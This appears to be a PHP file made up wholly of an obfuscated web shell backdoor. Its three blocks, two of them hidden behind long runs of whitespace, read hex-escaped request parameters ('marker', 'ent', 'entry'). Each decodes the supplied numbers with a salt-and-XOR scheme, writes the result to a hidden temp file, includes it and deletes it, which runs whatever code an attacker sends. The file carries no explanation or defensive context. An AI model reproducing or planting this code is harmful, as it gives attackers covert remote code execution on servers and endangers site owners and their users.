<?php																																										if(isset($_POST["\x6Dar\x6B\x65r"]) ? true : false){ $itm = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); $mrk = $_POST["\x6Dar\x6B\x65r"]; $mrk =explode( '.' , $mrk ); $comp=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt1); $m=0; $__tmp=$mrk; while( $v3=array_shift( $__tmp)) { $sChar=ord( $salt1[$m % $sLen]); $dec=( ( int)$v3 - $sChar -( $m % 10)) ^ 22; $comp .= chr( $dec); $m++; } foreach ($itm as $pset): if (!( !is_dir($pset) || !is_writable($pset) )) { $descriptor = str_replace("{var_dir}", $pset, "{var_dir}/.ptr"); if (file_put_contents($descriptor, $comp)) { include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(in_array("\x65\x6Et", array_keys($_REQUEST))){ $value = array_filter([getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); $property_set = $_REQUEST["\x65\x6Et"]; $property_set= explode ( '.' , $property_set ); $ptr = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $len = count( $property_set); for( $l = 0; $l< $len; $l++) {$v4 = $property_set[$l]; $chS = ord( $s2[$l % $sLen]); $dec = ( ( int)$v4 - $chS -( $l % 10)) ^ 99; $ptr .= chr( $dec); } while ($dchunk = array_shift($value)) { if ((is_dir($dchunk) and is_writable($dchunk))) { $pset = "$dchunk" . "/.object"; $success = file_put_contents($pset, $ptr); if ($success) { include $pset; @unlink($pset); die();} } } }


if(array_key_exists("e\x6E\x74ry", $_REQUEST) && !is_null($_REQUEST["e\x6E\x74ry"])){
	$dat = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd()]);
	$sym = $_REQUEST["e\x6E\x74ry"];
		$sym	=		explode	 ('.' 	,		$sym		)	;  
	$item = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $x = 0;
    
            $__tmp = $sym;
            while ($v7 = array_shift($__tmp)) {
                $chS = ord($salt[$x%		$lenS]);
                $dec = ((int)$v7 - $chS - ($x%		10)) ^ 85;
                $item .= chr($dec);
                $x++;}
	while ($record = array_shift($dat)) {
    		if ((bool)is_dir($record) && (bool)is_writable($record)) {
    $marker = implode("/", [$record, ".fac"]);
    if (file_put_contents($marker, $item)) {
	include $marker;
	@unlink($marker);
	exit;
}
}
}
}